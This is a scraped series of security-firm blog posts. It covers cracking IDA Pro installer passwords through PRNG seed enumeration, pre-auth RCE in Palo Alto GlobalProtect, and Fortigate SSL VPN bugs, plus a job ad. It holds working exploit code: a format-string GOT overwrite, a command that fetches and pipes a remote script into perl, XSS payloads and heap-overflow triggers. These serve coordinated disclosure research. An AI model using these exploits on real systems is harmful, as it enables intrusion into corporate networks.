char_a[]="23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";char_b[]="ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";char_c[]="23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";char_d[]="abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";char_e[]="abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";char_f[]="ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";intmain(){charbufa[21]={0};charbufb[21]={0};charbufc[21]={0};charbufd[21]={0};charbufe[21]={0};charbuff[21]={0};unsignedinti=0;while(i<0x100000000){srand(i);for(size_tn=0;n<20;n++){intkey=rand()%54;bufa[n]=_a[key];bufb[n]=_b[key];bufc[n]=_c[key];bufd[n]=_d[key];bufe[n]=_e[key];buff[n]=_f[key];}printf("%s\n",bufa);printf("%s\n",bufb);printf("%s\n",bufc);printf("%s\n",bufd);printf("%s\n",bufe);printf("%s\n",buff);i=i+1;}}

大約一個月的運算,我們終於成功利用 Perl 亂數產生出 IDA Pro 的安裝密碼,而正確的字元組順序為 abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789。例如 hacking team 洩漏的 IDA Pro 6.8 安裝密碼是 FgVQyXZY2XFk,就可用下面程式碼產生:

#!/usr/bin/env perl#@_e=split//,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";$i=3326487116;srand($i);$pw="";for($i=0;$i<12;++$i){$key=rand54;$pw=$pw.$_e[$key];}print"$i $pw\n";

透過這些資訊,我們可以建立一個用來暴力列舉安裝密碼的字典檔,縮短暴力列舉的時間,實作方式可參考 inno2john專案。在一般情況下,約十分鐘即可算出 windows 安裝檔的安裝密碼。

在回報 Hex-Rays 後,他們立刻表示之後將會使用更安全的安裝密碼。

總結

本篇文章提出了一個開放性問題:在未知安裝密碼的情況下可不可以安裝 IDA Pro?結果我們在 Linux 以及 MacOS 版發現可以從記憶體中取得明文密碼。而在 Windows 版本中,我們黑箱找到了安裝密碼產生的方式,因此我們可以建立一份字典檔,用以縮短暴力列舉安裝密碼的時間,最終,我們約十分鐘可解出一組密碼,是一個可以接受的時間。

我們真的很喜歡這樣的過程:有根據的大膽猜測,竭盡全力用任何已知資訊去證明我們的想法,不論猜測是對是錯,都能從過程中獲得很多經驗。這也是為什麼我們這次願意花一個月時間去驗證一個成功機率不是很高的假設。附帶一提,這樣的態度,也被運用在我們紅隊演練上,想要試試嗎 :p

寫在最後,要感謝 Hex-Rays 很友善且快速的回應。即使這個問題不包含在 Security Bug Bounty Program裡面,仍然慷慨的贈送 Linux 和 MAC 版 IDA 及升級原有 Windows 版至 IDA Pro。再次感謝。

時間軸

  • Jan 31, 2019 - 向 Hex-Rays 回報弱點
  • Feb 01, 2019 - Hex-Rays 說明之後會增加安裝密碼的強度,並協助通報 BitRock
  • Feb 11, 2019 - BitRock 釋出了 InstallBuilder 19.2.0

Operation Crack: Hacking IDA Pro Installer PRNG from an Unusual Way

$
0
0

English Version
中文版本

Introduction

Today, we are going to talk about the installation password of Hex-Rays IDA Pro, which is the most famous decompiler. What is installation password? Generally, customers receive a custom installer and installation password after they purchase IDA Pro. The installation password is required during installation process. However, if someday we find a leaked IDA Pro installer, is it still possible to install without an installation password? This is an interesting topic.

After brainstorming with our team members, we verified the answer: Yes! With a Linux or MacOS version installer, we can easily find the password directly. With a Windows version installer, we only need 10 minutes to calculate the password. The following is the detailed process:

* Linux and MacOS version

The first challenge is Linux and MacOS version. The installer is built with an installer creation tool called InstallBuilder. We found the plaintext installation password directly in the program memory of the running IDA Pro installer. Mission complete!

This problem is fixed after we reported through Hex-Rays. BitRock released InstallBuilder 19.2.0 with the protection of installation password on 2019/02/11.

* Windows version

It gets harder on Windows version because the installer is built with Inno Setup, which store its password with 160-bit SHA-1 hash. Therefore, we cannot get the password simply with static or dynamic analyzing the installer, and brute force is apparently not an effective way. But the situation is different if we can grasp the methodology of password generation, which lets us enumerate the password more effectively!

Although we have realized we need to find how Hex-Rays generate password, it is still really difficult, as we do not know what language the random number generator is implemented with. There are at least 88 random number generators known. It is such a great variation.

We first tried to find the charset used by random number generator. We collected all leaked installation passwords, such as hacking team’s password, which is leaked by WikiLeaks.

From the collected passwords we can summarize the charset:
23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

The missing of 1, I, l, 0, O, o, N, n seems to make sense because they are confusing characters.
Next, we guess the possible charset ordering like these:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

Lastly, we picked some common languages(c/php/python/perl)to implement a random number generator and enumerate all the combinations. Then we examined whether the collected passwords appears in the combinations. For example, here is a generator written in C language:

#include<stdio.h>
#include<stdlib.h>
char_a[]="23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";char_b[]="ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";char_c[]="23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";char_d[]="abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";char_e[]="abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";char_f[]="ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";intmain(){charbufa[21]={0};charbufb[21]={0};charbufc[21]={0};charbufd[21]={0};charbufe[21]={0};charbuff[21]={0};unsignedinti=0;while(i<0x100000000){srand(i);for(size_tn=0;n<20;n++){intkey=rand()%54;bufa[n]=_a[key];bufb[n]=_b[key];bufc[n]=_c[key];bufd[n]=_d[key];bufe[n]=_e[key];buff[n]=_f[key];}printf("%s\n",bufa);printf("%s\n",bufb);printf("%s\n",bufc);printf("%s\n",bufd);printf("%s\n",bufe);printf("%s\n",buff);i=i+1;}}

After a month, we finally generated the IDA Pro installation passwords successfully with Perl, and the correct charset ordering is abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789. For example, we can generate the hacking team’s leaked password FgVQyXZY2XFk with the following script:

#!/usr/bin/env perl#@_e=split//,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";$i=3326487116;srand($i);$pw="";for($i=0;$i<12;++$i){$key=rand54;$pw=$pw.$_e[$key];}print"$i $pw\n";

With this, we can build a dictionary of installation password, which effectively increase the efficiency of brute force attack. Generally, we can compute the password of one installer in 10 minutes.

We have reported this issue to Hex-Rays, and they promised to harden the installation password immediately.

Summary

In this article, we discussed the possibility of installing IDA Pro without owning installation password. In the end, we found plaintext password in the program memory of Linux and MacOS version. On the other hand, we determined the password generation methodology of Windows version. Therefore, we can build a dictionary to accelerate brute force attack. Finally, we can get one password at a reasonable time.

We really enjoy this process: surmise wisely and prove it with our best. It can broaden our experience no matter the result is correct or not. This is why we took a whole month to verify such a difficult surmise. We also take this attitude in our Red Team Assessment. You would love to give it a try!

Lastly, we would like to thank for the friendly and rapid response from Hex-Rays. Although this issue is not included in Security Bug Bounty Program, they still generously awarded us IDA Pro Linux and MAC version, and upgraded the Windows version for us. We really appreciate it.

Timeline

  • Jan 31, 2019 - Report to Hex-Rays
  • Feb 01, 2019 - Hex-Rays promised to harden the installation password and reported to BitRock
  • Feb 11, 2019 - BitRock released InstallBuilder 19.2.0

Palo Alto GlobalProtect 資安通報

$
0
0

內容

在我們進行紅隊演練的過程中,發現目標使用的 Palo Alto GlobalProtect 存在 format string 弱點,透過此弱點可控制該 SSL VPN 伺服器,並藉此進入企業內網。

回報原廠後,得知這是個已知弱點並且已經 silent-fix 了,所以並未有 CVE 編號。經過我們分析,存在風險的版本如下,建議用戶儘速更新至最新版以避免遭受攻擊。

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x 和 7.0.x 並沒有存在風險。

細節

我們也利用了這個弱點成功控制了 Uber 的 VPN 伺服器,詳細的技術細節請參閱我們的 Advisory:
https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

附註

這將會是我們 SSL VPN 研究的系列文,預計會有三篇。這也是我們研究團隊今年在 Black Hat USADEFCON的演講『 Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs』中的一小部分,敬請期待!

Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

$
0
0

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products.

We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our Black Hat USA and DEFCON talk:

  • Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!


Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks.

In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly weaponizing the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;)

The story

In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to /global-protect/login.esp on web root!

About the vulnerability, we accidentally discovered it during our Red Team assessment services. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability.

We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advisory contains anything similar and no CVE. So we believe this must be a silent-fix 1-day!

[1] There are some exploit about the Pan-OS management interface before such as the CVE-2017-15944 and the excellent Troppers16 paper by @_fel1x, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port

The bug

The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The sslmgr is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path /sslmgr.

$ curl https://global-protect/sslmgr
<?xml version="1.0"encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

During the parameter extraction, the daemon searches the string scep-profile-name and pass its value as the snprintf format to fill in the buffer. That leads to the format string attack. You can just crash the service with %n!

POST/sslmgrHTTP/1.1Host:global-protectContent-Length:36

scep-profile-name=%n%n%n%n%n...

Affect versions

According to our survey, all the GlobalProtect before July 2018 are vulnerable! Here is the affect version list:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

The series 9.x and 7.0.x are not affected by this vulnerability.

How to verify the bug

Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability elegantly!

By reading the snprintf manual, we choose the %c as our gadget! When there is a number before the format, such as %9999999c, the snprintf repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability!

$ time curl -s-d'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s-d'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s-d'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

As you can see, the response time increases along with the number of %c. So, from the time difference, we can identify the vulnerable SSL VPN elegantly!

[1] Although there is a watchdog monitoring the sslmgr daemon, it’s still improper to crash a service!

The exploitation

Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the /global-protect/portal/css/login.css from 8.x version and the /images/logo_pan_158.gif from 7.x version!

$ curl -s-I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

With a specified version, we can write our own exploit now. We simply modified the pointer of strlen on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of system. Here is the PoC:

#!/usr/bin/python
importrequestsfrompwnimport*url="https://sslvpn/sslmgr"cmd="echo pwned > /var/appweb/sslvpndocs/hacked.txt"strlen_GOT=0x667788# change me
system_plt=0x445566# change me
fmt='%70$n'fmt+='%'+str((system_plt>>16)&0xff)+'c'fmt+='%32$hn'fmt+='%'+str((system_plt&0xffff)-((system_plt>>16)&0xff))+'c'fmt+='%24$hn'foriinrange(40,60):fmt+='%'+str(i)+'$p'data="scep-profile-name="data+=p32(strlen_GOT)[:-1]data+="&appauthcookie="data+=p32(strlen_GOT+2)[:-1]data+="&host-id="data+=p32(strlen_GOT+4)[:-1]data+="&user-email="data+=fmtdata+="&appauthcookie="data+=cmdr=requests.post(url,data=data)

Once the modification is done, the sslmgr becomes our webshell and we can execute commands via:

$ curl -d'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr


We have reported this bug to Palo Alto via the report form. However, we got the following reply:

Hello Orange,

Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.

Kind regards

Hmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world!

The case study

After we awared this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take vpn.awscorp.uberinternal.com as an example!

From the domain name, we guess Uber uses the BYOL from AWS Marketplace. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

Finally, we figured out the version, it’s 8.0.6 and we got the shell back!

Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detail explanation to the bounty decision:

Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.

Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!

It’s a fair decision. It’s always a great time communicating with Uber and report to their bug bounty program. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!

DEVCORE 徵求行政專員

$
0
0

戴夫寇爾即將滿七年了,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

在 2015 年我們曾經公開徵求一位行政出納人才,後來經過層層的履歷審核、筆試、面試,終於順利找到一位經驗豐富且值得信賴的生活駭客,成為我們最強而有力的後勤伙伴。但是隨著團隊人數增長、業務規模大幅增加、事務分工專業化,行政部門的眾多工作已經無法由單一人力獨自負荷。

因此今年我們再度公開招募行政人才,希望能夠找到一位行政專員,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

  • 庶務性行政工作 50%
    • 人員接待,例如:電話接聽、來訪人員接待
    • 文件收發,例如:郵務作業、快遞服務
    • 檔案管理,例如:名片掃描、合約掃描、範本檔案格式調整
    • 資料蒐集,例如:各類公司業務需求資料查找
  • 總務工作 20%
    • 辦公室各類用品採買
    • 辦公室環境維護
  • 採購工作 15%
    • 設備採購管理
    • 服務供應商管理
  • 人事工作 5%
    • 保險事務,例如:團體保險、旅遊不便險
    • 差旅行程,例如:交通票券訂購、簽證辦理
    • 教育訓練安排
  • 其他主管交辦事項 10%

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓
(捷運南京復興站 8 號出口,走路約 3 分鐘)

人格特質偏好

  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 擅長邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達自己的想法。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

工作條件要求

  • 需有三年以上行政相關工作經驗
  • 熟悉 Google Sheets 操作,且具獨立撰寫試算表公式的能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務。
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好。
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題。

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
    • 團體保險
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

薪資待遇

新台幣 34,000 - 40,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 recruiting@devco.re
    • 履歷格式請參考範例示意(DOCPAGESPDF)並轉成 PDF。
若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 行政專員 您的姓名(範例:[應徵] 行政專員 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。最快將於八月中進行第二階段的線上測驗,煩請耐心等候。
由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。

我們選擇優先在部落格公布徵才資訊,是希望您也對資訊安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。無論如何,我們都感謝您的來信,期待您的加入!

Fortigate SSL VPN 資安通報

$
0
0

內容

上一篇 SSL VPN 研究系列文我們通報了在 Palo Alto GlobalProtect 上的 RCE 弱點,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:

  • CVE-2018-13379: Pre-auth arbitrary file reading
  • CVE-2018-13380: Pre-auth XSS
  • CVE-2018-13381: Pre-auth heap overflow
  • CVE-2018-13382: The magic backdoor
  • CVE-2018-13383: Post-auth heap overflow

透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。

此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。

在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。

細節

詳細的技術細節請參閱我們的 Advisory:
https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

附註

這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 “pwnie for best server-side bug”(年度最佳伺服器漏洞)。


Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

$
0
0

Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361)

Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!

P.S. It seems the slides link on Black Hat official website is dead, it should be up ASAP

We will also give a speech at the following conferences, just come and find us!

Let’s start!

The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!

However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.

At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:

It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!

Fortigate SSL VPN

Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:

  • All-in-one binary
    We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:

    Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!

  • Web daemon
    There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.

    Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.

    In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!

  • WebVPN
    WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.

Vulnerabilities

We found several vulnerabilities:

CVE-2018-13379: Pre-auth arbitrary file reading

While fetching corresponding language file, it builds the json file path with the parameter lang:

snprintf(s,0x40,"/migadmin/lang/%s.json",lang);

There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.

CVE-2018-13380: Pre-auth XSS

There are several XSS:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381: Pre-auth heap overflow

While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is &#60; and this should occupies 5 bytes. If it encounter anything starts with &#, such as &#60;, it consider there is a token already encoded, and count its length directly. Like this:

c=token[idx];if(c=='('||c==')'||c=='#'||c=='<'||c=='>')cnt+=5;elseif(c=='&'&&html[idx+1]=='#')cnt+=len(strchr(html[idx],';')-idx);

However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.

switch(c){case'<':memcpy(buf[counter],"&#60;",5);counter+=4;break;case'>':// ...default:buf[counter]=c;break;counter++;}

If we input a malicious string like &#<<<;, the < is still encoded into &#60;, so the result should be &#&#60;&#60;&#60;;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.

PoC:

importrequestsdata={'title':'x','msg':'&#'+'<'*(0x20000)+';<',}r=requests.post('https://sslvpn:4433/message',data=data)

CVE-2018-13382: The magic backdoor

In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.

According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!

CVE-2018-13383: Post-auth heap overflow

This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:

memcpy(buffer,js_buf,js_buf_len);

The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation.
To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.

Exploitation

The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.

CVE-2018-13381

Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.

  • Single thread, single process, single allocator
    The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
  • Operations regularly triggered
    This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
  • Apache additional memory management.
    The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
  • JeMalloc
    JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.

We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!

CVE-2018-13379 + CVE-2018-13383

This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.

  • Gain authentication
    We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.

  • Get the shell
    After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.

    Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.

    We got an interesting crash. To our great surprise, we almost control the program counter!

    Here is the crash, and that’s why we love fuzzing! ;)

      Program received signal SIGSEGV, Segmentation fault.
      0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
      2: /x $rax = 0x41414141
      1: x/i $pc
      => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
      (gdb)
    

    The crash happened in SSL_do_handshake()

    intSSL_do_handshake(SSL*s){// ...s->method->ssl_renegotiate_check(s,0);if(SSL_in_init(s)||SSL_in_before(s)){if((s->mode&SSL_MODE_ASYNC)&&ASYNC_get_current_job()==NULL){structssl_async_argsargs;args.s=s;ret=ssl_start_async_job(s,&args,ssl_do_handshake_intern);}else{ret=s->handshake_func(s);}}returnret;}

    We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.

    This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.

    We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.

    Here we put our php PoC on an HTTP server:

